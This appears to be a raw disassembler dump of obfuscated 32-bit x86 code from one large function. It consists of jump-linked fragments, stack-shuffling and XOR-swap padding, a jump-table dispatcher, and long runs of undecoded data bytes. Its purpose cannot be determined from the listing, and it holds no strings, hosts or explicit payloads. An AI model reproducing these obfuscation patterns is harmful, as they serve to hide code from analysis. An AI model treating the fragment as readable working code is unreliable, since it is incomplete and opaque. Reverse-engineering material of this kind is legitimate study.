loc_54D60B: ; CODE XREF: sub_542C3C+CD79j mov [esp+34h+var_34], eax jmp loc_54E903 ; --------------------------------------------------------------------------- db 28h dd 3E959CBh, 81FFFFA3h, 4ECh, 24148900h, 2C7D68h, 24248900h dd 4240481h, 0E9000000h, 3A84h, 0E92434FFh, 0FFFFD61Eh dd 0FE5BDC88h, 0AC480C4h, 4A49E952h, 0C4830000h, 4C68104h dd 52000000h, 57B4BF57h, 814721EBh, 0C97D4FEFh, 8EFC117h dd 6B09B850h, 35403ADDh, 3CE00B65h, 0E958C709h, 0FFFF9C02h dd 68D5F75Dh, 6BACh, 0FFAEF7E9h, 0C8B66FFh, 0E9575224h dd 0FFFFBF23h, 287768h, 112AE900h, 0D7E90000h, 83FFFF95h dd 0E98104C4h, 4, 0FFC7ADE9h db 0FFh ; --------------------------------------------------------------------------- loc_54D6B1: ; CODE XREF: sub_542C3C+959Bj add esi, 6B502810h jmp loc_549EA6 ; --------------------------------------------------------------------------- dd 815FF831h, 0E93E10E9h, 81C12919h, 0E93E10C1h, 0C875819h dd 24248B24h, 24048966h, 0FF959DE9h, 241C89FFh, 0FFC89FE9h dd 0D3895CFFh, 73E3815Ah, 0E94E543Ah, 0FFFFDE72h, 94E9DD01h dd 0B7FFFFE7h, 0E91DB5CAh, 0FFFFB4D4h ; --------------------------------------------------------------------------- loc_54D704: ; CODE XREF: sub_542C3C+8FCAj push ebx mov ebx, 14A858A4h jmp loc_546D76 ; --------------------------------------------------------------------------- db 29h dd 0DD015AD5h, 7484C581h, 1C8B6076h, 336EE924h, 0BF570000h dd 4, 550DE955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54D72E: ; CODE XREF: sub_542C3C+C7ADj xchg edi, [esp+30h+var_30] pop esp mov [esp+2Ch+var_2C], ebx push edi jmp loc_55241F ; --------------------------------------------------------------------------- db 1 dd 21252DC8h, 0BB535209h, 68DF02C5h, 17BCE9h db 0 ; --------------------------------------------------------------------------- loc_54D74D: ; CODE XREF: sub_542C3C+F83Bj add bl, 46h sub bl, al jmp loc_54C2CC ; --------------------------------------------------------------------------- db 0F7h dd 0F79592D2h, 685295D5h, 6DE7h, 5A240489h, 8124048Bh dd 4C4h, 2E2C100h, 7327CA81h, 0EA812DDBh, 2DFF7FEBh, 23E9D101h dd 6600001Dh, 56240C8Bh, 18E9E689h, 0FE000029h, 0AFF180C9h dd 8359C828h, 0C0E902ECh db 0F1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D7A3: ; CODE XREF: sub_542C3C+BD31j push [esp+30h+var_30] pop esi jmp loc_54FD60 ; --------------------------------------------------------------------------- dd 42474FFh, 24048F59h, 6624248Bh, 2404BB0Fh, 0E2ABE99Ch dd 8953FFFFh, 4C381E3h, 83000000h, 1C3304C3h, 241C3124h dd 5C241C33h, 3C8BF831h, 4EAEE924h, 0FA290000h, 5EA7C281h dd 15F3825h, 0C3835AD3h, 241C3304h, 33241C31h, 248B241Ch dd 9478E924h, 4401FFFFh, 15E90424h db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D80B: ; CODE XREF: sub_542C3C+EE66j pop esp add ebx, 29591375h jmp loc_54AFD8 ; --------------------------------------------------------------------------- loc_54D817: ; CODE XREF: sub_542C3C+A0E7j add ebp, edi mov edi, [esp+24h+var_24] jmp loc_54B493 ; --------------------------------------------------------------------------- db 5Dh, 0C1h, 0E5h dd 81DDF708h, 0BAD7FCEDh, 5DEE8933h, 875EF501h, 0E95C242Ch dd 0FFFF943Eh, 5258C721h, 8E6154BAh, 0F2F28154h, 0E942BDA3h dd 0FFFFE67Dh, 305AD188h, 240C8BC8h, 81E08950h, 4ECh, 24348900h dd 4BEh, 5EF00100h, 352E68h, 243C8900h, 4BFh, 0E9F80100h dd 3B4Fh, 1E7B85B8h, 7B832D6Eh, 57E96E1Eh, 68FFFFDFh, 12E2h dd 0BB241C89h, 6DFE6D29h, 7ED5BD55h, 0A9E96CB7h, 5A000048h dd 1A51E9h, 0C7E95D00h db 93h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D8B3: ; CODE XREF: sub_542C3C+5725j xchg ecx, ebx push ecx push esi mov ecx, [esp+40h+var_40] add esp, 4 mov esi, [esp+3Ch+var_3C] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+40h+var_40] pop esp not esi xchg esi, ecx xor ebx, ecx xor ecx, ebx xor ebx, ecx xor eax, ebx xor ebx, eax xor eax, ebx push esi jmp loc_5530FF ; --------------------------------------------------------------------------- loc_54D8EC: ; CODE XREF: sub_542C3C+7867j push esi jmp loc_5503E3 ; --------------------------------------------------------------------------- dw 8956h dd 4C681E6h, 83000000h, 348704C6h, 0DA295C24h, 21B2E9h dd 39E95100h, 89000032h, 23E92404h, 0B5FFFFE6h, 59EB28F9h dd 0C380D300h, 0EAE95AF9h, 81FFFFDBh, 0A8CCDh, 963BE91Ah dd 31ADFFFFh, 0E08950D8h, 405h, 42D00h, 24680000h, 0E9000021h dd 27F4h, 4D49EB81h, 0D9015077h, 3F93E9h, 0E9D0F700h, 3301h dd 35E95245h db 0A8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D967: ; CODE XREF: sub_542C3C+101C3j pop esp mov ebp, [esp+2Ch+var_2C] add esp, 4 loc_54D971: ; CODE XREF: sub_542C3C:loc_54AE79j push 6F2h mov [esp+2Ch+var_2C], ebx sub esp, 4 mov [esp+30h+var_30], esp add [esp+30h+var_30], 4 pop ebx add ebx, 4 sub ebx, 4 sub esp, 4 mov [esp+30h+var_30], ebx push [esp+30h+var_2C] pop ebx pop [esp+30h+var_30] pop esp mov [esp+28h+var_28], ebx mov eax, [esp+28h+var_28] sub esp, 4 mov [esp+2Ch+var_2C], edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+2Ch+var_2C] mov esp, [esp+2Ch+var_2C] push 43CEh mov [esp+30h+var_30], edi push 1E49h jmp loc_54E0C2 ; --------------------------------------------------------------------------- loc_54D9D7: ; CODE XREF: sub_542C3C+6126j add esp, 4 jmp loc_54740E ; --------------------------------------------------------------------------- db 66h dd 66207668h, 0B7241C89h, 0E9FC004Bh, 2A22h, 4FF525Bh dd 4720E924h, 4810000h, 63315924h, 24148B1Eh, 52F1E9h dd 0D1C18100h, 81569678h, 31079BC1h, 242C8B0Fh, 65916853h dd 42E90000h, 59FFFFF3h, 0E958E100h, 0FFFFC631h, 3BF5E781h dd 814F7370h, 382BEFh, 5FF90171h, 704CBB53h, 0C38170C8h dd 602D118Dh, 6F59BE56h, 0F3011BB2h, 0A5EB815Eh, 0C12B2630h dd 0EFE904EBh, 8BFFFFA5h, 0C4832434h, 74FF5304h, 8F5B0424h dd 665C2404h, 9C240CFFh, 0FF9201E9h, 0EE815AFFh, 111436FFh dd 5DBAC681h, 37E93411h, 52FFFFE7h, 52A6DBAh, 4EAC137h dd 0E906E2C1h, 0FFFF95B0h, 4EC835Eh, 0FF240489h, 0FF042474h dd 48B2434h, 4C48324h, 8F04C483h, 248B2404h, 0B30F6624h dd 0E99C2404h, 0FFFF91B6h, 148BB904h, 4EFFE924h, 0DA890000h dd 1C07E9h, 0EF015A00h, 8B2434FFh, 64E9242Ch, 66000009h dd 66242C31h, 66242C33h, 66242C31h, 6652665Eh, 148B6656h dd 49B5E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54DAFE: ; CODE XREF: sub_542C3C+A7DEj add eax, 50F824CEh add eax, ebp sub eax, 50F824CEh pop ebp mov edi, eax pop eax and eax, edi push [esp+24h+var_24] pop edi push ecx mov ecx, esp push edx push ecx mov ecx, 605D390Eh sub ecx, 605D390Ah mov edx, ecx pop ecx add ecx, edx pop edx add ecx, 4 xchg ecx, [esp+28h+var_28] jmp loc_549EE7 ; --------------------------------------------------------------------------- dd 0B32A82BAh, 0F2EA8131h, 813F9C26h, 972729F2h, 0D2F74270h dd 0C281D2F7h, 925944CBh, 0FFF88DE9h, 0C28166FFh, 0D2E94423h dd 50FFFFCCh, 29D0E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54DB6A: ; CODE XREF: sub_542C3C+104D9j or ebx, 357B4345h jmp loc_54EC6A ; --------------------------------------------------------------------------- loc_54DB75: ; CODE XREF: sub_542C3C+9695j mov [esp+18h+var_18], ecx mov ch, 0DCh xor ch, 6Bh dec ch not ch and ch, 0E5h push ebx mov bl, 0BFh or bl, 4Bh xor bl, 0CEh jmp loc_5523FC ; --------------------------------------------------------------------------- dw 0C3FEh dd 80BCC380h, 0D828ACEBh, 0D171E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DBA2: ; CODE XREF: sub_542C3C+FD0Aj push [esp+1Ch+var_18] pop ebx pop [esp+1Ch+var_1C] mov esp, [esp+18h+var_18] push ecx push edi push 1D003051h jmp loc_54879F ; --------------------------------------------------------------------------- a1Sc db '1Íéc:',0 align 10h dd 0E92434FFh, 4DD6h ; --------------------------------------------------------------------------- loc_54DBC8: ; CODE XREF: sub_542C3C+7027j add ebp, 15104EBCh push [esp+40h+var_40] mov edi, [esp+44h+var_44] add esp, 4 add esp, 4 jmp loc_54ECF5 ; --------------------------------------------------------------------------- db 68h dd 528659F4h, 5386E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54DBEA: ; CODE XREF: sub_542C3C+D36Fj pop eax sub esp, 4 mov [esp+3Ch+var_3C], ebp jmp loc_55256B ; --------------------------------------------------------------------------- dw 0F788h dd 8B5BFD88h, 34E92414h, 57000038h, 311F53BFh, 71336853h dd 3C890000h, 240CFF24h, 0BDCEE95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DC1A: ; CODE XREF: sub_542C3C+68D3j push small 16E3h mov word ptr [esp-0Ah+arg_4+2], dx mov dl, 0E2h add bl, dl mov dx, word ptr [esp-0Ah+arg_4+2] add esp, 2 movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- dw 17E9h dd 50FFFFF0h, 0EC8056B4h, 9BCC807Bh, 0E480DCF6h, 42B55122h dd 17ECE9h, 15B95100h, 0E9244C67h, 1061h, 89240C89h, 4C181E1h dd 81000000h, 4C1h, 240C8700h, 9004E95Ch, 0D125FFFFh, 0F7489954h dd 3C3B25D8h, 0BC2D67BBh, 210EB1FCh, 6E958C5h, 8B00001Ah dd 0B9E92424h, 8BFFFFDCh, 4312424h, 0D7E99C24h, 66FFFF8Fh dd 6624048Fh, 4EC8352h, 66240489h, 810859B8h, 4ECh, 2C17E900h dd 148B0000h, 4C48324h, 0FFC0B60Fh, 48B8734h, 89535524h dd 4C381E3h, 83000000h, 1C8704EBh, 24248B24h, 24048F54h dd 4240481h, 8B000000h, 0C483242Ch, 0B3CAE904h, 0EC81FFFFh dd 4, 68241489h, 4DF3h, 0BF243C89h, 2D307857h, 7C4FE781h dd 60E930EFh, 89000010h, 0E589242Ch, 125CBB53h, 0C3810ABBh dd 0F544EDA8h, 7484BA52h, 0DCE96076h db 0F9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DD33: ; CODE XREF: sub_542C3C+1050Cj add [esp-0Eh+arg_E], 1D6B75AEh add [esp-0Eh+arg_E], 6AFB7D3Fh jmp loc_549F46 ; --------------------------------------------------------------------------- loc_54DD48: ; CODE XREF: sub_542C3C+56EFj pop esp jmp loc_54BBAB ; --------------------------------------------------------------------------- loc_54DD4E: ; CODE XREF: sub_542C3C+C99Cj push esp jmp loc_5471BF ; --------------------------------------------------------------------------- dd 295AD689h, 0B501E9C6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DD5E: ; CODE XREF: sub_542C3C+67D2j add ebp, 612BEh add ebp, 2E6652F1h jmp loc_5480DF ; --------------------------------------------------------------------------- db 68h dd 6A4Ch, 24048F54h, 4EC81h, 0C890000h, 55B85024h, 0E928F60Fh dd 0FFFF91FBh, 98E95866h, 81000039h, 1449C6F1h, 4E1C15Ah dd 0D93DF181h, 0CE31DEE8h, 43EB8159h, 815ED27Ch, 0D0480C3h dd 81F30161h, 0D0480EBh, 43C38161h, 5E5ED27Ch, 2EB81h dd 57E90000h db 45h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54DDCB: ; CODE XREF: sub_542C3C+64F9j xor eax, esi jmp loc_5478E3 ; --------------------------------------------------------------------------- dw 248Bh dd 9CC83B24h, 0FF8E9DE9h, 0D2C781FFh, 161670Ch, 8B5B5FF8h dd 0C483240Ch, 4B322D04h, 0D8014BB6h, 0B64B3205h, 32F5054Bh dd 0BB536FEFh, 0ADC7574h, 0FFFFEB81h, 5743FFFFh, 0A264FEBFh dd 0B4E94F4Ch, 5BFFFF93h, 0E904C483h, 27A2h, 335FF801h dd 4312404h, 24043324h, 124248Bh, 0E99C2404h, 0FFFF8E42h dd 127721BEh, 0D6F7467Bh, 0E903EEC1h, 3643h, 6DBB53ADh dd 0E935706Eh, 0FFFFEE93h ; --------------------------------------------------------------------------- loc_54DE54: ; CODE XREF: sub_542C3C+10073j sub ecx, 62897F44h add ebp, ecx pop ecx xchg ebp, [esp+2Ch+var_2C] pop esp jmp loc_548EC3 ; --------------------------------------------------------------------------- loc_54DE66: ; CODE XREF: sub_542C3C+9ABFj add eax, 5F9D2CF5h add eax, 63585BD4h jmp loc_54AD89 ; --------------------------------------------------------------------------- db 0B9h, 2Fh, 43h dd 0E1D10F73h, 0B92BC181h, 0CB291B97h, 81C30159h, 7E3F89C3h dd 0A1C3813Ah, 685A7E65h, 6EBEh, 81241C89h, 4ECh, 24148900h dd 0A2E9E289h, 0E9000012h, 0FFFF8DCAh, 316CC381h, 5158523Dh dd 0A62111B9h, 59CB2902h, 1A2CE9h, 6DBE5600h, 0E935706Eh dd 0FFFFDE23h ; --------------------------------------------------------------------------- loc_54DED0: ; CODE XREF: sub_542C3C+E6A6j add ebx, 29781F28h add ebx, 164F2ECAh push eax mov eax, 101B7AD3h jmp loc_548BD1 ; --------------------------------------------------------------------------- db 80h dd 0D2F603C2h, 334968h, 24048900h, 59E934B4h, 5DFFFFDDh dd 8B1C7709h, 0FBE92434h db 0A7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DF07: ; CODE XREF: sub_542C3C+E84Aj xor eax, edx xor edx, eax push eax push esi mov esi, esp jmp loc_5522D7 ; --------------------------------------------------------------------------- loc_54DF14: ; CODE XREF: sub_542C3C+F80Bj add eax, ebx pop ebx jmp loc_5526EA ; --------------------------------------------------------------------------- dd 0D9C0E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DF22: ; CODE XREF: sub_542C3C+8378j pop edi push ebx mov ebx, 3FF16645h jmp loc_548471 ; --------------------------------------------------------------------------- dw 0C381h dd 4, 4BA52h, 0D3290000h, 241C875Ah, 241C895Ch, 305E951h dd 0A680000h, 8900002Bh, 0C0E9240Ch db 0EAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DF57: ; CODE XREF: sub_542C3C+D3EBj not edx xchg edx, edi push ebx mov ebx, 0C7F33B8h jmp loc_54AECC ; --------------------------------------------------------------------------- dw 0C381h dd 6C184D01h, 0EB81F301h, 6C184D01h, 2073EB81h, 875E28A8h dd 248B241Ch, 68C80F24h, 46F6h, 0E9240489h, 0FFFF8CEAh dd 2905D8F7h, 3556B704h, 27795718h, 0B739B305h, 35E7E997h dd 55A0000h, 5A9E0A06h, 0B1666C35h, 16AC0523h, 506835C5h dd 8900007Bh, 6FBF243Ch, 1828115h, 0C7015FF8h, 56CF0158h dd 4D2F9DBEh, 0FF56461Ch, 0F75E240Ch, 0EF2AE9D6h, 28FFFFFh dd 0FF8C95E9h, 4EC81FFh, 89000000h, 9EBB241Ch, 2937E246h dd 0CF295BDFh, 0FFF00EE9h, 815966FFh, 4ECh, 240C8900h dd 1551E9h db 0 ; --------------------------------------------------------------------------- loc_54E00D: ; CODE XREF: sub_542C3C+CE20j xchg edx, [esp+34h+var_34] mov esp, [esp+34h+var_34] jmp loc_54E2BB ; --------------------------------------------------------------------------- loc_54E018: ; CODE XREF: sub_542C3C+95FAj push edx push ecx mov ecx, 187F2DCEh jmp loc_551345 ; --------------------------------------------------------------------------- dd 8B59CA29h, 0C4812404h, 4, 31241433h, 0FCE92414h, 8300000Bh dd 48904ECh, 0B4B55124h, 8008ED80h, 7BE91CF5h, 6600000Fh dd 9C240401h, 0FF8C21E9h, 24048BFFh, 39E95453h, 31FFFFE6h dd 1C33241Ch, 24248B24h, 0FFB922E9h, 240C87FFh, 8924248Bh dd 478F2404h, 2434FF40h, 8124048Bh, 4C4h, 42E8E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54E08E: ; CODE XREF: sub_542C3C+843Cj mov [esp+34h+var_34], edi push 3B5Bh mov [esp+38h+var_38], eax xor [esp+38h+var_38], 170C30CDh mov edi, [esp+38h+var_38] jmp loc_5520C8 ; --------------------------------------------------------------------------- dd 81E68956h, 4C6h, 4EE8300h, 5C243487h, 89242C89h, 352EE9E5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54E0C2: ; CODE XREF: sub_542C3C+AD96j mov [esp+34h+var_34], ecx mov ecx, 28A27B47h mov edi, ecx mov ecx, [esp+34h+var_34] push eax sub esp, 4 jmp loc_54D54B ; --------------------------------------------------------------------------- dd 53F4F781h, 0E94F1689h, 0FFFF96E6h, 8853D4F6h, 0E9DA88E3h dd 491Ah, 0F680CEFEh, 0E9CEFE9Ch, 0FFFFCE27h, 31243433h dd 34332434h, 24248B24h, 81242489h, 42404h, 63E90000h dd 81FFFF8Bh, 4ECh, 9B1E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54E122: ; CODE XREF: sub_542C3C+A08Fj push eax dec [esp+2Ch+var_2C] jmp loc_551B19 ; --------------------------------------------------------------------------- loc_54E12B: ; CODE XREF: sub_542C3C+59D5j sub eax, 864B02BFh jmp loc_551008 ; --------------------------------------------------------------------------- db 54h, 8Fh, 4 dd 24048124h, 4, 4C2815Ah, 53000000h, 5D226852h, 425A6120h dd 595FEA81h, 0C2810C91h, 0AB70FC3Eh, 0BE9D389h db 0E5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E163: ; CODE XREF: sub_542C3C+D031j add esi, 0B5067Dh pop eax push esi push ebp mov ebp, 18263B29h mov esi, ebp mov ebp, [esp+24h+var_24] add esp, 4 mov ebx, esi pop esi push 6B03h mov [esp+20h+var_20], edi jmp loc_550AC5 ; --------------------------------------------------------------------------- db 87h, 2Ch, 24h dd 6124248Bh, 0B2B8E99Dh, 0C33FFFFh, 240C3124h, 0E9240C33h dd 0FFFFD303h, 0C1D6F74Eh, 0C68102EEh, 4A410A23h, 34A2EE81h dd 8F6842B9h, 89000001h, 4FBD242Ch, 29194838h, 0E9565DEEh dd 0FFFFF82Eh, 0E924048Fh, 0FFFFD653h, 34FFF301h, 0C4835E24h dd 4C38104h, 87000000h, 0A4E9241Ch, 8900004Dh, 685657E2h dd 7AC946C1h, 8124348Bh, 4C4h, 0C8EE8100h, 81712712h, 1AC756EEh dd 8BF7899Ch, 0C4832434h, 0A7B85004h, 316D876Ch, 4A27E9C7h dd 0C1810000h, 0B685DE60h, 8159CA89h, 2B2888C2h, 2CB4E97Dh dd 0E9590000h, 0FFFFB2E4h, 0A2F78166h, 0ADB4E9D6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E242: ; CODE XREF: sub_542C3C+A2C7j xchg esi, [esp+34h+var_34] mov esp, [esp+34h+var_34] xor edx, edx jmp loc_551C0E ; --------------------------------------------------------------------------- db 0B1h dd 59CB887Dh, 0BB0453B0h, 0BB2CD800h, 0E9C6205Bh, 1EF2h ; --------------------------------------------------------------------------- loc_54E264: ; CODE XREF: sub_542C3C+5FDFj add esi, ebp pop ebp jmp loc_5529BF ; --------------------------------------------------------------------------- loc_54E26C: ; CODE XREF: sub_542C3C+EA0Cj push [esp+38h+var_34] mov edx, [esp+3Ch+var_3C] add esp, 4 pop [esp+38h+var_38] jmp loc_54C680 ; --------------------------------------------------------------------------- loc_54E281: ; CODE XREF: sub_542C3C+4E1Aj add esp, 4 push 6929h mov [esp+38h+var_38], edx push ecx mov ch, bl jmp loc_550BBD ; --------------------------------------------------------------------------- db 1 dd 0D60159CAh, 207FE95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_54E2A2: ; CODE XREF: sub_542C3C+9FECj mov edx, 9EE184Dh jmp loc_54E5AF ; --------------------------------------------------------------------------- loc_54E2AC: ; CODE XREF: sub_542C3C+7A95j pop edi add esp, 4 shr eax, 18h xor eax, ecx push esi jmp loc_54A95B ; --------------------------------------------------------------------------- loc_54E2BB: ; CODE XREF: sub_542C3C+B3D7j push ecx jmp loc_547246 ; --------------------------------------------------------------------------- db 29h, 0CBh, 59h dd 1C8BD831h, 4C48124h, 0E9000000h, 29FDh, 0E9C83058h dd 39A7h, 4244C01h, 2434FF59h, 4C4815Eh, 81000000h, 4C6h dd 4C68300h, 0E9243433h, 0FFFFB8D9h ; --------------------------------------------------------------------------- loc_54E2FC: ; CODE XREF: sub_542C3C+C034j xor ebx, 0DF316A51h mov ebp, ebx pop ebx jmp loc_551427 ; --------------------------------------------------------------------------- dw 0F181h dd 0AD4F3DA5h, 0EEE9CF01h, 2DFFFFCEh, 11EA1BFFh, 0B0340525h dd 35D0F74Dh, 48103001h, 8158C629h, 0EA3F40F6h, 5EF13170h dd 410A062Dh, 55C82913h, 0FFD400E9h, 4C381FFh, 0E9000000h dd 0FFFFB6B5h, 6FB7BD55h, 5155541Dh, 0E941595Dh, 0FFFFF85Dh dd 6858h, 4800000h, 3C28E324h, 242C8024h, 243C8AE3h, 0C004C483h dd 0EFC005E7h, 68EFD004h, 7249h, 0E9240C89h, 3B1Eh ; --------------------------------------------------------------------------- loc_54E388: ; CODE XREF: sub_542C3C+EC6Fj add al, ch add al, 35h pop ecx push 611h mov [esp+34h+var_34], ebx jmp loc_54FCAA ; --------------------------------------------------------------------------- dw 0D601h dd 5A2434FFh, 4C481h, 0A5E90000h, 81FFFFDBh, 7189EFE9h dd 59CF09CCh, 0C067C781h, 0FA899EAEh, 0F0CA815Fh, 0E91D686Fh dd 1A50h, 835EF289h, 0F28101C2h, 4B08B7C8h, 0BA29F62Dh dd 0E9D02941h, 0FFFF9293h, 81241C8Bh, 4C4h, 24048F00h dd 9CC1385Ch, 0FF8885E9h, 4C481FFh, 81000000h, 4ECh, 240C8900h dd 0B25278B1h, 5AD120BFh, 0C059B652h, 0FE8608E6h, 0FE86CFFEh dd 66FFC680h, 802DB450h, 7AE9FDC6h, 29000035h, 48759C8h dd 8F545C24h, 0EC812404h, 4, 0FF90E7E9h, 63A4BDFFh, 50E9681Ah dd 81FFFFD3h, 4C4h, 4C48100h, 87000000h, 0E95C243Ch, 0FFFFFBF3h dd 553AEA81h, 3AE943D8h, 52FFFFD1h, 0B951E289h, 4, 7BE9CA01h dd 8900002Bh, 0C1815EF3h, 4EE47760h, 0DF68D901h, 89000067h dd 0B8502414h, 5D8635D7h, 5E4189BAh, 0DA92E9F1h, 0D828FFFFh dd 0EB86E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E4A2: ; CODE XREF: sub_542C3C+C350j xor [esp+34h+var_34], eax xor eax, [esp+34h+var_34] mov esp, [esp+34h+var_34] mov [esp+34h+var_34], edx jmp loc_550471 ; --------------------------------------------------------------------------- db 0C1h dd 0F28105EAh, 58DC1E04h, 0D2F7D2F7h, 0C8CDEA81h, 0D6014B48h dd 26EE815Ah, 1CDB395h, 24348BF1h, 2104C483h, 0E959384Ah dd 411Bh, 405h, 24048700h, 45C5805Ch, 3FE9EB28h db 0FDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E4F3: ; CODE XREF: sub_542C3C+E00Aj sub edx, 1D84448Ah jmp loc_5523B4 ; --------------------------------------------------------------------------- dw 0ED83h dd 0EEBB53FFh, 815D3F36h, 721FA9E3h, 0E3814B3Ch, 0A641F25h dd 828F381h, 0DD295327h, 5DEA295Bh, 0FFB59FE9h, 0AC685CFFh dd 8900007Bh, 0E6892434h, 0FFE806E9h, 81FA29FFh, 32161EAh dd 0D0015F56h, 8324148Bh, 0D80104C4h, 0F561352Dh, 0F33DE92Dh dd 8B66FFFFh, 0EC832404h, 240C8904h, 4EC81h, 24890000h dd 0C25BE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E56A: ; CODE XREF: sub_542C3C+49B3j push dx mov dl, 0E2h push ecx jmp loc_55246B ; --------------------------------------------------------------------------- loc_54E574: ; CODE XREF: sub_542C3C+97F0j xor eax, [esp+34h+var_34] jmp loc_54FB51 ; --------------------------------------------------------------------------- loc_54E57C: ; CODE XREF: sub_542C3C+E669j mov [esp+34h+var_34], esi push ebx pop esi jmp loc_54B4EC ; --------------------------------------------------------------------------- dw 0BE56h dd 4C4D65AAh, 1ED2E681h, 7A686721h, 89000019h, 0E368243Ch dd 0E9730C62h, 0FFFF9A4Ah, 5CF181h, 45E9066Fh db 2Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54E5AF: ; CODE XREF: sub_542C3C+B66Bj xor ecx, edx pop edx sub ecx, 10E252A9h xor ecx, 443C2120h add ecx, 2E73E36Dh sub ebp, ecx mov ecx, [esp+38h+var_38] jmp loc_54D2BB ; --------------------------------------------------------------------------- dw 0E981h dd 0F31079Bh, 78D1E981h, 0E9015696h, 0FFF428E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E5E1: ; CODE XREF: sub_542C3C+C594j xor edi, 31A568D2h mov ebx, edi pop edi jmp loc_54BDEE ; --------------------------------------------------------------------------- db 5Bh dd 0BFD5E957h, 0CD81FFFFh, 775B7039h, 0C03BE953h, 0C180FFFFh dd 1E98050h, 0FFE8D9E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E60D: ; CODE XREF: sub_542C3C+579Fj jz loc_547B57 push dword ptr [edi+28h] push 3B9Bh mov [esp+24h+var_24], eax jmp loc_550787 ; --------------------------------------------------------------------------- db 8Bh dd 79E92404h, 66FFFFC2h, 0E9240C8Bh, 218Ah, 4C581h, 0C5830000h dd 1798E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54E642: ; CODE XREF: sub_542C3C+67E8j push ecx mov ecx, esp jmp loc_549187 ; --------------------------------------------------------------------------- dw 0DBF7h dd 28CEF381h, 0DA014F8Ch, 81CA295Bh, 0BE1074EAh, 0E95B592Fh dd 0FFFF8616h, 0FEC4C781h, 0FE89FF57h, 8BF0015Fh, 0C4812434h dd 4, 26B1B951h, 0E1816584h, 6CAD2F58h, 7E9BE181h, 0C9810E0Ah dd 1E5B632Bh, 98C7C181h, 0C829E1A4h, 24043359h, 0FFB828E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E6A1: ; CODE XREF: sub_542C3C+6367j add esp, 4 pop [esp+3Ch+var_3C] mov eax, [esp+38h+var_38] add esp, 4 jmp loc_552998 ; --------------------------------------------------------------------------- db 5Ah, 50h, 52h dd 0FFD354E9h, 9E6B9FFh, 0E9494E06h, 0A93h, 0D6B45066h dd 0D1E9E230h, 8BFFFFA3h, 0B2E9240Ch, 0E9FFFF9Eh, 0FFFF859Ah ; --------------------------------------------------------------------------- loc_54E6E0: ; CODE XREF: sub_542C3C+EDBCj mov esi, [esp+34h+var_34] jmp loc_547342 ; --------------------------------------------------------------------------- a_hI db '_h',8,'I',0 align 2 dw 3489h dd 3E88BE24h, 0F7566889h, 0F75E2414h, 0A5E681D6h, 81163867h dd 5B77A7E6h, 1009E925h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54E70E: ; CODE XREF: sub_542C3C+D73Aj mov edx, 3F6F6424h jmp loc_54A9BA ; --------------------------------------------------------------------------- dd 0E903EBC1h, 3DF2h, 40558h, 0B9510000h, 4, 0F80F502Dh dd 0A3A9E901h, 3489FFFFh, 1B6ABE24h, 0B9512292h, 1, 6985EE81h dd 0EE8114D9h, 18955FFDh, 3FD8EE81h, 0C4E94DB2h, 0BFFFFFECh dd 73951340h, 815FF989h, 0A812FCC9h, 0EC815715h, 4, 57240C89h dd 0FFED5CE9h db 0FFh ; --------------------------------------------------------------------------- loc_54E779: ; CODE XREF: sub_542C3C+F91Dj add esp, 4 inc ecx sub ecx, 237A5A25h jmp loc_5519CF ; --------------------------------------------------------------------------- dd 0F3047B04h, 6BE9162Ch db 8Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E793: ; CODE XREF: sub_542C3C+7950j push eax mov eax, 11441171h sub eax, 1144116Dh add ebx, eax jmp loc_55297F ; --------------------------------------------------------------------------- db 33h, 4, 24h dd 0FF980EE9h, 0E9B304FFh, 0FFFFB1FFh ; --------------------------------------------------------------------------- loc_54E7B4: ; CODE XREF: sub_542C3C+F195j add esp, 4 push edi mov edi, 10A4B5F2h sub ebx, edi pop edi add edx, ebx pop ebx jmp loc_546C7A ; --------------------------------------------------------------------------- dd 54240489h, 1ABD5558h, 8124493Fh, 90BBAC5h, 0F182E973h dd 4CB2FFFFh, 0FFE85AE9h, 240C87FFh, 0F24248Bh, 9368C8B6h dd 89000032h, 0D5E9240Ch, 0FFFFFFECh, 669D1C77h, 24041058h dd 8470E99Ch, 0BE56FFFFh, 66FE1F7Eh, 0C6814E4Eh, 9901E086h dd 0FFFC5AE9h, 20B850FFh, 0F730666Ch, 2E8C1D0h, 0C106E8C1h dd 0AB0507E0h, 31D56CB5h, 0E2C158C2h, 0B9C28107h, 520C3F44h dd 0F7243487h, 74FF56D6h, 8F5E0424h, 815A2404h, 1C1EB2EAh dd 7A5605FBh, 0D0294F57h, 3CAE9h db 0 ; --------------------------------------------------------------------------- loc_54E861: ; CODE XREF: sub_542C3C+C979j xor eax, [esp+28h+var_28] xor [esp+28h+var_28], eax 